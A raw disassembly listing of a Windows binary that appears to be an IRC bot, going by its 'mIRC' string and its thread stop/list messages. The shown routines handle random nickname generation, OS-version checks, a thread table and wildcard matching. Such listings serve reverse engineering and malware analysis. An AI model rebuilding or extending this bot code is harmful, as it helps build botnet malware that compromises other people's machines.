		push	41h
		pop	ecx
		push	1
		pop	edx


loc_40AE0A:				; CODE XREF: ___:0040AE15j
		cmp	eax, ecx
		jnz	short loc_40AE11
		mov	[ebp-4], edx


loc_40AE11:				; CODE XREF: ___:0040AE0Cj
		inc	ecx
		cmp	ecx, 5Bh
		jl	short loc_40AE0A
		push	61h
		pop	ecx


loc_40AE1A:				; CODE XREF: ___:0040AE25j
		cmp	eax, ecx
		jnz	short loc_40AE21
		mov	[ebp-4], edx


loc_40AE21:				; CODE XREF: ___:0040AE1Cj
		inc	ecx
		cmp	ecx, 7Bh
		jl	short loc_40AE1A
		mov	edi, [ebp+8]
		push	esi
		push	1Ch
		push	edi
		call	sub_41B980
		xor	esi, esi
		add	esp, 0Ch
		cmp	dword_429098, esi
		jle	short loc_40AE66


loc_40AE40:				; CODE XREF: ___:0040AE64j
		call	sub_41B8E2
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_42BB60
		push	1Ch
		push	edi
		call	sub_41B980
		add	esp, 14h
		inc	esi
		cmp	esi, dword_429098
		jl	short loc_40AE40


loc_40AE66:				; CODE XREF: ___:0040AE3Ej
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		push	edi
		nop
		call	near ptr 26B084Fh
		push	eax
		call	sub_41B8D8
		pop	ecx
		lea	eax, [ebp-0Ch]
		push	0Ah
		push	eax
		push	7
		push	800h
		call	near ptr 26E0BCCh
		nop
		mov	edi, [ebp+8]
		lea	eax, [ebp-0Ch]
		push	eax
		push	offset dword_43194C
		push	1Ch
		push	edi
		call	sub_41B980
		xor	esi, esi
		add	esp, 10h
		cmp	dword_429098, esi
		jle	short loc_40AEDB


loc_40AEB5:				; CODE XREF: ___:0040AED9j
		call	sub_41B8E2
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_42BB60
		push	1Ch
		push	edi
		call	sub_41B980
		add	esp, 14h
		inc	esi
		cmp	esi, dword_429098
		jl	short loc_40AEB5


loc_40AEDB:				; CODE XREF: ___:0040AEB3j
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 94h
		push	esi
		lea	eax, [ebp-94h]
		push	edi
		push	eax
		mov	esi, offset dword_43D808
		mov	dword ptr [ebp-94h], 94h
		nop
		call	near ptr 26F0000h
		nop
		call	near ptr 26B084Fh
		push	eax
		call	sub_41B8D8
		cmp	dword ptr [ebp-90h], 4
		pop	ecx
		jnz	short loc_40AF65
		cmp	dword ptr [ebp-8Ch], 0
		jnz	short loc_40AF45
		cmp	dword ptr [ebp-84h], 1
		jnz	short loc_40AF35
		mov	esi, offset dword_431974


loc_40AF35:				; CODE XREF: ___:0040AF2Ej
		cmp	dword ptr [ebp-84h], 2
		jnz	short loc_40AFA1
		mov	esi, offset dword_431970
		jmp	short loc_40AFA1
; ---------------------------------------------------------------------------


loc_40AF45:				; CODE XREF: ___:0040AF25j
		cmp	dword ptr [ebp-8Ch], 0Ah
		jnz	short loc_40AF55
		mov	esi, offset dword_43196C
		jmp	short loc_40AFA1
; ---------------------------------------------------------------------------


loc_40AF55:				; CODE XREF: ___:0040AF4Cj
		cmp	dword ptr [ebp-8Ch], 5Ah
		jnz	short loc_40AF9C
		mov	esi, offset dword_431968
		jmp	short loc_40AFA1
; ---------------------------------------------------------------------------


loc_40AF65:				; CODE XREF: ___:0040AF1Cj
		cmp	dword ptr [ebp-90h], 5
		jnz	short loc_40AF9C
		cmp	dword ptr [ebp-8Ch], 0
		jnz	short loc_40AF7E
		mov	esi, offset dword_431964
		jmp	short loc_40AFA1
; ---------------------------------------------------------------------------


loc_40AF7E:				; CODE XREF: ___:0040AF75j
		cmp	dword ptr [ebp-8Ch], 1
		jnz	short loc_40AF8E
		mov	esi, offset dword_431960
		jmp	short loc_40AFA1
; ---------------------------------------------------------------------------


loc_40AF8E:				; CODE XREF: ___:0040AF85j
		cmp	dword ptr [ebp-8Ch], 2
		mov	esi, offset dword_43195C
		jz	short loc_40AFA1


loc_40AF9C:				; CODE XREF: ___:0040AF5Cj
					; ___:0040AF6Cj
		mov	esi, offset dword_431958


loc_40AFA1:				; CODE XREF: ___:0040AF3Cj
					; ___:0040AF43j ...
		mov	edi, [ebp+8]
		push	esi
		push	offset dword_431950
		push	1Ch
		push	edi
		call	sub_41B980
		xor	esi, esi
		add	esp, 10h
		cmp	dword_429098, esi
		jle	short loc_40AFE5


loc_40AFBF:				; CODE XREF: ___:0040AFE3j
		call	sub_41B8E2
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_42BB60
		push	1Ch
		push	edi
		call	sub_41B980
		add	esp, 14h
		inc	esi
		cmp	esi, dword_429098
		jl	short loc_40AFBF


loc_40AFE5:				; CODE XREF: ___:0040AFBDj
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AFEB	proc near		; CODE XREF: sub_40B08E+5Cp

var_1C		= byte ptr -1Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	esi
		nop
		call	near ptr 26B084Fh
		xor	edx, edx
		mov	ecx, 5265C00h
		div	ecx
		push	0
		push	offset aMirc_0	; "mIRC"
		mov	esi, eax
		cmp	esi, 64h
		jbe	short loc_40B03A
		call	dword_4CB660
		test	eax, eax
		mov	eax, offset off_431980
		jnz	short loc_40B023
		mov	eax, offset dword_43D808


loc_40B023:				; CODE XREF: sub_40AFEB+31j
		push	eax
		push	esi
		push	offset dword_431978
		lea	eax, [ebp+var_1C]
		push	1Ch
		push	eax
		call	sub_41B980
		add	esp, 14h
		jmp	short loc_40B05A
; ---------------------------------------------------------------------------


loc_40B03A:				; CODE XREF: sub_40AFEB+22j
		call	dword_4CB660
		test	eax, eax
		mov	eax, offset off_431980
		jnz	short loc_40B04E
		mov	eax, offset dword_43D808


loc_40B04E:				; CODE XREF: sub_40AFEB+5Cj
		push	eax
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_40B05A:				; CODE XREF: sub_40AFEB+4Dj
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_41AFE0
		pop	ecx
		cmp	eax, 2
		pop	esi
		jbe	short loc_40B089
		push	1Ch
		lea	eax, [ebp+var_1C]
		push	[ebp+arg_0]
		push	eax
		call	sub_41C1E0
		lea	eax, [ebp+var_1C]
		push	1Ch
		push	eax
		push	[ebp+arg_0]
		call	sub_41B5F0
		add	esp, 18h


loc_40B089:				; CODE XREF: sub_40AFEB+7Dj
		mov	eax, [ebp+arg_0]
		leave
		retn
sub_40AFEB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B08E	proc near		; CODE XREF: sub_4017ED+7Fp
					; sub_401955+50p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		xor	edi, edi
		mov	esi, offset dword_42DC84


loc_40B09A:				; CODE XREF: sub_40B08E+3Fj
		cmp	[ebp+arg_C], 0
		jz	short loc_40B0B5
		lea	eax, [esi-0Ch]
		push	eax
		push	[ebp+arg_C]
		call	sub_41C070
		neg	eax
		pop	ecx
		sbb	eax, eax
		pop	ecx
		inc	eax
		jmp	short loc_40B0BF
; ---------------------------------------------------------------------------


loc_40B0B5:				; CODE XREF: sub_40B08E+10j
		mov	ecx, [esi]
		xor	eax, eax
		cmp	ecx, [ebp+arg_4]
		setz	al


loc_40B0BF:				; CODE XREF: sub_40B08E+25j
		test	eax, eax
		jnz	short loc_40B0D1
		add	esi, 14h
		inc	edi
		cmp	esi, offset off_42DCFC
		jb	short loc_40B09A
		jmp	short loc_40B0DF
; ---------------------------------------------------------------------------


loc_40B0D1:				; CODE XREF: sub_40B08E+33j
		push	[ebp+arg_0]
		lea	eax, [edi+edi*4]
		call	off_42DC88[eax*4]
		pop	ecx


loc_40B0DF:				; CODE XREF: sub_40B08E+41j
		cmp	[ebp+arg_8], 0
		pop	edi
		pop	esi
		jz	short loc_40B0F2
		push	[ebp+arg_0]
		call	sub_40AFEB
		pop	ecx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_40B0F2:				; CODE XREF: sub_40B08E+57j
		mov	eax, [ebp+arg_0]
		pop	ebp
		retn
sub_40B08E	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B0F7	proc near		; CODE XREF: ___:00401599p
					; ___:004015D8p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	edi
		xor	edi, edi
		mov	eax, offset dword_43E390


loc_40B0FF:				; CODE XREF: sub_40B0F7+18j
		cmp	byte ptr [eax],	0
		jz	short loc_40B113
		add	eax, 234h
		inc	edi
		cmp	eax, offset dword_4CB390
		jl	short loc_40B0FF
		jmp	short loc_40B15E
; ---------------------------------------------------------------------------


loc_40B113:				; CODE XREF: sub_40B0F7+Bj
		push	esi
		mov	esi, edi
		imul	esi, 234h
		push	1FFh
		push	[esp+0Ch+arg_0]
		lea	eax, dword_43E390[esi]
		push	eax
		call	sub_41B5F0
		mov	eax, [esp+14h+arg_4]
		add	esp, 0Ch
		mov	dword_43E590[esi], eax
		and	dword_43E594[esi], 0
		mov	eax, [esp+8+arg_8]
		and	dword_43E598[esi], 0
		mov	dword_43E59C[esi], eax
		and	byte_43E5A8[esi], 0
		pop	esi


loc_40B15E:				; CODE XREF: sub_40B0F7+1Aj
		mov	eax, edi
		pop	edi
		retn
sub_40B0F7	endp

; ---------------------------------------------------------------------------
word_40B162	dw 8B55h		; DATA XREF: sub_401ACD+298Ao
		dd 98EC81ECh, 8B000000h, 57560845h, 8B59266Ah, 68BD8DF0h
		dd 0F3FFFFFFh, 0F075FFA5h, 9480C7h, 10000h, 858D0000h
		dd 0FFFFFF6Ch, 50F475FFh, 0FF68B5FFh, 15E8FFFFh, 0FF000000h
		dd 6CE8EC75h, 83000002h, 6A14C4h, 570DE890h, 5E5F022Eh
		dd 81EC8B55h, 200ECh, 6A575600h, 1075FF00h, 431A8068h
		dd 0C75FF00h, 0E80875FFh, 0FFFFE89Fh, 3314C483h, 0E390BEFFh
		dd 3E800043h, 833C7400h, 7500147Dh, 4BE8309h, 2, 57562D75h
		dd 0FE00858Dh, 8868FFFFh, 500042C8h, 10681E8h, 8D016A00h
		dd 0FFFE0085h, 1075FFFFh, 0C75FF50h, 0E80875FFh, 0FFFFE857h
		dd 8124C483h, 234C6h, 0FE814700h, 4CB390h, 5E5FB07Ch
; ---------------------------------------------------------------------------
		leave
		retn

; =============== S U B	R O U T	I N E =======================================



sub_40B232	proc near		; CODE XREF: sub_401ACD+7BA5p
					; sub_40B2C0+12p ...

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+0Ch+arg_0]
		xor	ebx, ebx
		xor	ebp, ebp
		cmp	esi, ebx
		jle	short loc_40B2BA
		cmp	esi, 400h
		jge	short loc_40B2BA
		imul	esi, 234h
		push	edi
		push	ebx
		push	dword_43E5A4[esi]
		lea	edi, dword_43E5A4[esi]
		call	near ptr 26B092Eh
		nop
		cmp	[edi], ebx
		jz	short loc_40B26A
		push	1
		pop	ebp


loc_40B26A:				; CODE XREF: sub_40B232+33j
		mov	[edi], ebx
		lea	edi, dword_43E598[esi]
		mov	dword_43E590[esi], ebx
		mov	dword_43E594[esi], ebx
		mov	eax, [edi]
		cmp	eax, ebx
		jbe	short loc_40B28B
		push	eax
		call	sub_4199CA
		pop	ecx


loc_40B28B:				; CODE XREF: sub_40B232+50j
		mov	[edi], ebx
		lea	edi, dword_43E59C[esi]
		mov	byte ptr dword_43E390[esi], bl
		mov	byte_43E5A8[esi], bl
		push	dword ptr [edi]
		call	dword_4CB6EC
		lea	esi, dword_43E5A0[esi]
		mov	[edi], ebx
		push	dword ptr [esi]
		call	dword_4CB6EC
		mov	[esi], ebx
		pop	edi


loc_40B2BA:				; CODE XREF: sub_40B232+Dj
					; sub_40B232+15j
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_40B232	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B2C0	proc near		; CODE XREF: sub_40111D+18p
					; ___:loc_4017D9p ...
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		xor	edi, edi
		mov	esi, offset dword_43E390


loc_40B2CC:				; CODE XREF: sub_40B2C0+2Aj
		cmp	byte ptr [esi],	0
		jz	short loc_40B2DD
		push	edi
		call	sub_40B232
		test	eax, eax
		pop	ecx
		jz	short loc_40B2DD
		inc	ebx


loc_40B2DD:				; CODE XREF: sub_40B2C0+Fj
					; sub_40B2C0+1Aj
		add	esi, 234h
		inc	edi
		cmp	esi, offset dword_4CB390
		jl	short loc_40B2CC
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_40B2C0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B2F2	proc near		; CODE XREF: sub_401ACD+418Fp
					; sub_401ACD+42E1p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		mov	edi, [ebp+arg_4]
		mov	[ebp+var_4], ebx
		mov	esi, offset dword_43E594


loc_40B306:				; CODE XREF: sub_40B2F2+43j
		mov	eax, [esi-4]
		cmp	eax, [ebp+arg_0]
		jnz	short loc_40B328
		test	edi, edi
		jle	short loc_40B31A
		cmp	[esi], edi
		jz	short loc_40B31A
		cmp	ebx, edi
		jnz	short loc_40B328


loc_40B31A:				; CODE XREF: sub_40B2F2+1Ej
					; sub_40B2F2+22j
		push	ebx
		call	sub_40B232
		test	eax, eax
		pop	ecx
		jz	short loc_40B328
		inc	[ebp+var_4]


loc_40B328:				; CODE XREF: sub_40B2F2+1Aj
					; sub_40B2F2+26j ...
		add	esi, 234h
		inc	ebx
		cmp	esi, offset dword_4CB594
		jl	short loc_40B306
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40B2F2	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B33F	proc near		; CODE XREF: ___:00401630p
					; sub_401ACD+97Ap ...

arg_0		= dword	ptr  4

		xor	eax, eax
		mov	ecx, offset dword_43E590


loc_40B346:				; CODE XREF: sub_40B33F+1Cj
		mov	edx, [ecx]
		cmp	edx, [esp+arg_0]
		jnz	short loc_40B34F
		inc	eax


loc_40B34F:				; CODE XREF: sub_40B33F+Dj
		add	ecx, 234h
		cmp	ecx, offset dword_4CB590
		jl	short loc_40B346
		retn
sub_40B33F	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B35E	proc near		; CODE XREF: sub_401ACD+2434p

arg_0		= dword	ptr  4

		xor	eax, eax
		push	esi
		xor	edx, edx
		mov	ecx, offset dword_43E590


loc_40B368:				; CODE XREF: sub_40B35E+1Fj
		mov	esi, [ecx]
		cmp	esi, [esp+4+arg_0]
		jz	short loc_40B381
		add	ecx, 234h
		inc	edx
		cmp	ecx, offset dword_4CB590
		jl	short loc_40B368
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_40B381:				; CODE XREF: sub_40B35E+10j
		mov	eax, edx
		pop	esi
		retn
sub_40B35E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B385	proc near		; CODE XREF: sub_401ACD+1067p
					; sub_401ACD+126Dp ...

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		xor	eax, eax
		cmp	[ebp+arg_1C], eax
		jz	short loc_40B39E
		push	[ebp+arg_1C]
		call	sub_41B779
		pop	ecx


loc_40B39E:				; CODE XREF: sub_40B385+Ej
		push	eax
		push	[ebp+arg_18]
		call	sub_40B2F2
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_40B3CA
		push	eax
		lea	eax, [ebp+var_200]
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	offset aSSStopped_DThr ; "%s %s	stopped. (%d thread(s) stopped.)"
		push	eax
		call	sub_41B886
		add	esp, 14h
		jmp	short loc_40B3E4
; ---------------------------------------------------------------------------


loc_40B3CA:				; CODE XREF: sub_40B385+26j
		push	[ebp+arg_14]
		lea	eax, [ebp+var_200]
		push	[ebp+arg_10]
		push	offset aSNoSThreadFoun ; "%s No	%s thread found."
		push	eax
		call	sub_41B886
		add	esp, 10h


loc_40B3E4:				; CODE XREF: sub_40B385+43j
		cmp	[ebp+arg_C], 0
		jnz	short loc_40B404
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 14h


loc_40B404:				; CODE XREF: sub_40B385+63j
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_4151AD
		pop	ecx
		leave
		retn
sub_40B385	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B413	proc near		; CODE XREF: sub_4017ED+159p
					; ___:0040BA48p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		xor	ecx, ecx
		imul	eax, 234h
		mov	dword_43E5A4[eax], ecx
		mov	dword_43E590[eax], ecx
		mov	dword_43E594[eax], ecx
		mov	dword_43E598[eax], ecx
		mov	dword_43E59C[eax], ecx
		mov	dword_43E5A0[eax], ecx
		mov	byte ptr dword_43E390[eax], cl
		mov	byte_43E5A8[eax], cl
		retn
sub_40B413	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B450	proc near		; CODE XREF: sub_401ACD+7E3Cp
					; sub_40B57E+6Bp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_0]
		push	1
		pop	eax


loc_40B45A:				; CODE XREF: sub_40B450+68j
		mov	cl, [esi]
		test	cl, cl
		jz	short loc_40B4BA
		cmp	eax, 1
		jnz	short loc_40B4BA
		mov	edx, [ebp+arg_4]
		mov	dl, [edx]
		test	dl, dl
		jz	short loc_40B4BA
		cmp	cl, 2Ah
		jz	short loc_40B4A1
		cmp	cl, 3Fh
		jz	short loc_40B484
		cmp	cl, 5Bh
		jz	short loc_40B489
		xor	eax, eax
		cmp	cl, dl
		setz	al


loc_40B484:				; CODE XREF: sub_40B450+26j
		inc	[ebp+arg_4]
		jmp	short loc_40B4B4
; ---------------------------------------------------------------------------


loc_40B489:				; CODE XREF: sub_40B450+2Bj
		lea	eax, [ebp+arg_4]
		inc	esi
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		mov	[ebp+arg_0], esi
		call	sub_40B4E6
		mov	esi, [ebp+arg_0]
		pop	ecx
		pop	ecx
		jmp	short loc_40B4B4
; ---------------------------------------------------------------------------


loc_40B4A1:				; CODE XREF: sub_40B450+21j
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		call	sub_40B57E
		mov	esi, [ebp+arg_0]
		pop	ecx
		pop	ecx
		dec	esi


loc_40B4B4:				; CODE XREF: sub_40B450+37j
					; sub_40B450+4Fj
		inc	esi
		mov	[ebp+arg_0], esi
		jmp	short loc_40B45A
; ---------------------------------------------------------------------------


loc_40B4BA:				; CODE XREF: sub_40B450+Ej
					; sub_40B450+13j ...
		cmp	byte ptr [esi],	2Ah
		jnz	short loc_40B4CA
		cmp	eax, 1
		jnz	short loc_40B4E1
		inc	esi
		mov	[ebp+arg_0], esi
		jmp	short loc_40B4BA
; ---------------------------------------------------------------------------


loc_40B4CA:				; CODE XREF: sub_40B450+6Dj
		cmp	eax, 1
		jnz	short loc_40B4E1
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax],	0
		jnz	short loc_40B4E1
		cmp	byte ptr [esi],	0
		jnz	short loc_40B4E1
		push	1
		pop	eax
		jmp	short loc_40B4E3
; ---------------------------------------------------------------------------


loc_40B4E1:				; CODE XREF: sub_40B450+72j
					; sub_40B450+7Dj ...
		xor	eax, eax


loc_40B4E3:				; CODE XREF: sub_40B450+8Fj
		pop	esi
		pop	ebp
		retn
sub_40B450	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B4E6	proc near		; CODE XREF: sub_40B450+45p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edi
		xor	edi, edi
		push	1
		mov	ecx, [edx]
		and	[ebp+var_8], edi
		pop	eax
		cmp	byte ptr [ecx],	21h
		mov	[ebp+var_4], eax
		jnz	short loc_40B507
		inc	ecx
		mov	[ebp+var_8], eax
		mov	[edx], ecx


loc_40B507:				; CODE XREF: sub_40B4E6+19j
		push	ebx
		push	esi


loc_40B509:				; CODE XREF: sub_40B4E6+7Bj
		mov	ecx, [edx]
		mov	bl, [ecx]
		cmp	bl, 5Dh
		jnz	short loc_40B517
		cmp	[ebp+var_4], eax
		jnz	short loc_40B563


loc_40B517:				; CODE XREF: sub_40B4E6+2Aj
		test	edi, edi
		jnz	short loc_40B558
		cmp	bl, 2Dh
		jnz	short loc_40B54C
		mov	al, [ecx+1]
		lea	esi, [ecx+1]
		mov	cl, [ecx-1]
		cmp	cl, al
		jge	short loc_40B54C
		cmp	al, 5Dh
		jz	short loc_40B54C
		cmp	[ebp+var_4], edi
		jnz	short loc_40B54C
		mov	ebx, [ebp+arg_4]
		mov	ebx, [ebx]
		mov	bl, [ebx]
		cmp	bl, cl
		jl	short loc_40B558
		cmp	bl, al
		jg	short loc_40B558
		push	1
		mov	[edx], esi
		pop	edi
		jmp	short loc_40B558
; ---------------------------------------------------------------------------


loc_40B54C:				; CODE XREF: sub_40B4E6+38j
					; sub_40B4E6+45j ...
		mov	eax, [ebp+arg_4]
		mov	eax, [eax]
		cmp	bl, [eax]
		jnz	short loc_40B558
		push	1
		pop	edi


loc_40B558:				; CODE XREF: sub_40B4E6+33j
					; sub_40B4E6+59j ...
		inc	dword ptr [edx]
		and	[ebp+var_4], 0
		push	1
		pop	eax
		jmp	short loc_40B509
; ---------------------------------------------------------------------------


loc_40B563:				; CODE XREF: sub_40B4E6+2Fj
		cmp	[ebp+var_8], eax
		pop	esi
		pop	ebx
		jnz	short loc_40B570
		mov	ecx, eax
		sub	ecx, edi
		mov	edi, ecx


loc_40B570:				; CODE XREF: sub_40B4E6+82j
		cmp	edi, eax
		jnz	short loc_40B579
		mov	eax, [ebp+arg_4]
		inc	dword ptr [eax]


loc_40B579:				; CODE XREF: sub_40B4E6+8Cj
		mov	eax, edi
		pop	edi
		leave
		retn
sub_40B4E6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B57E	proc near		; CODE XREF: sub_40B450+59p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		mov	edi, [ebp+arg_4]
		mov	[ebp+var_4], 1
		inc	dword ptr [esi]
		mov	ecx, [esi]
		mov	eax, [edi]
		xor	ebx, ebx


loc_40B59A:				; CODE XREF: sub_40B57E+3Aj
		cmp	[eax], bl
		jz	short loc_40B5BA
		mov	cl, [ecx]
		cmp	cl, 3Fh
		jz	short loc_40B5AF
		cmp	cl, 2Ah
		jnz	short loc_40B5BA
		cmp	cl, 3Fh
		jnz	short loc_40B5B2


loc_40B5AF:				; CODE XREF: sub_40B57E+25j
		inc	eax
		mov	[edi], eax


loc_40B5B2:				; CODE XREF: sub_40B57E+2Fj
		inc	dword ptr [esi]
		mov	ecx, [esi]
		mov	eax, [edi]
		jmp	short loc_40B59A
; ---------------------------------------------------------------------------


loc_40B5BA:				; CODE XREF: sub_40B57E+1Ej
					; sub_40B57E+2Aj ...
		mov	eax, [esi]
		cmp	byte ptr [eax],	2Ah
		jnz	short loc_40B5C5
		inc	dword ptr [esi]
		jmp	short loc_40B5BA
; ---------------------------------------------------------------------------


loc_40B5C5:				; CODE XREF: sub_40B57E+41j
		mov	eax, [edi]
		mov	cl, [eax]
		cmp	cl, bl
		jnz	short loc_40B5E6
		mov	edx, [esi]
		cmp	[edx], bl
		jz	short loc_40B5D7
		xor	eax, eax
		jmp	short loc_40B646
; ---------------------------------------------------------------------------


loc_40B5D7:				; CODE XREF: sub_40B57E+53j
		cmp	cl, bl
		jnz	short loc_40B5E6
		mov	ecx, [esi]
		cmp	[ecx], bl
		jnz	short loc_40B5E6
		push	1
		pop	eax
		jmp	short loc_40B646
; ---------------------------------------------------------------------------


loc_40B5E6:				; CODE XREF: sub_40B57E+4Dj
					; sub_40B57E+5Bj ...
		push	eax
		push	dword ptr [esi]
		call	sub_40B450
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40B630


loc_40B5F4:				; CODE XREF: sub_40B57E+B0j
		inc	dword ptr [edi]
		mov	eax, [edi]


loc_40B5F8:				; CODE XREF: sub_40B57E+90j
		mov	ecx, [esi]
		mov	dl, [eax]
		mov	cl, [ecx]
		cmp	cl, dl
		jz	short loc_40B610
		cmp	cl, 5Bh
		jz	short loc_40B610
		cmp	dl, bl
		jz	short loc_40B610
		inc	eax
		mov	[edi], eax
		jmp	short loc_40B5F8
; ---------------------------------------------------------------------------


loc_40B610:				; CODE XREF: sub_40B57E+82j
					; sub_40B57E+87j ...
		mov	eax, [edi]
		cmp	[eax], bl
		jz	short loc_40B627
		push	eax
		push	dword ptr [esi]
		call	sub_40B450
		neg	eax
		pop	ecx
		sbb	eax, eax
		pop	ecx
		inc	eax
		jmp	short loc_40B62C
; ---------------------------------------------------------------------------


loc_40B627:				; CODE XREF: sub_40B57E+96j
		mov	[ebp+var_4], ebx
		xor	eax, eax


loc_40B62C:				; CODE XREF: sub_40B57E+A7j
		cmp	eax, ebx
		jnz	short loc_40B5F4


loc_40B630:				; CODE XREF: sub_40B57E+74j
		mov	eax, [edi]
		cmp	[eax], bl
		jnz	short loc_40B643
		mov	eax, [esi]
		cmp	[eax], bl
		jnz	short loc_40B643
		mov	[ebp+var_4], 1


loc_40B643:				; CODE XREF: sub_40B57E+B6j
					; sub_40B57E+BCj
		mov	eax, [ebp+var_4]


loc_40B646:				; CODE XREF: sub_40B57E+57j
					; sub_40B57E+66j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40B57E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B64B	proc near		; CODE XREF: sub_401ACD+2AF6p

var_400		= byte ptr -400h
var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 400h
		push	ebx
		push	edi
		lea	eax, [ebp+var_200]
		push	offset unk_431E9C
		push	eax
		xor	ebx, ebx
		call	sub_41B886
		cmp	dword_431B00, ebx
		pop	ecx
		pop	ecx
		mov	edi, 200h
		jz	short loc_40B6BD
		push	esi
		mov	esi, offset dword_431B08


loc_40B67E:				; CODE XREF: sub_40B64B+6Fj
		mov	eax, [esi]
		test	eax, eax
		jbe	short loc_40B6B3
		add	ebx, eax
		push	eax
		lea	eax, [esi-26h]
		push	eax
		lea	eax, [ebp+var_400]
		push	offset dword_431E90
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_400]
		push	edi
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_41C1E0
		add	esp, 1Ch


loc_40B6B3:				; CODE XREF: sub_40B64B+37j
		add	esi, 40h
		cmp	dword ptr [esi-8], 0
		jnz	short loc_40B67E
		pop	esi


loc_40B6BD:				; CODE XREF: sub_40B64B+2Bj
		push	dword_4CB394
		call	sub_41A88C
		pop	ecx
		push	eax
		push	ebx
		lea	eax, [ebp+var_400]
		push	offset aTotalDInS_ ; " Total: %d in %s."
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_400]
		push	edi
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_41C1E0
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A73
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_4151AD
		add	esp, 34h
		pop	edi
		pop	ebx
		leave
		retn
sub_40B64B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B71A	proc near		; CODE XREF: sub_401ACD+2AE0p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		mov	eax, dword_4CE160
		mov	ecx, dword_4CE15C
		push	esi
		push	dword_4CB394
		lea	esi, [ecx+eax]
		call	sub_41A88C
		pop	ecx
		push	eax
		push	esi
		push	dword_4CE160
		lea	eax, [ebp+var_200]
		push	dword_4CE15C
		push	offset unk_431EBC
		push	eax
		call	sub_41B886
		push	0
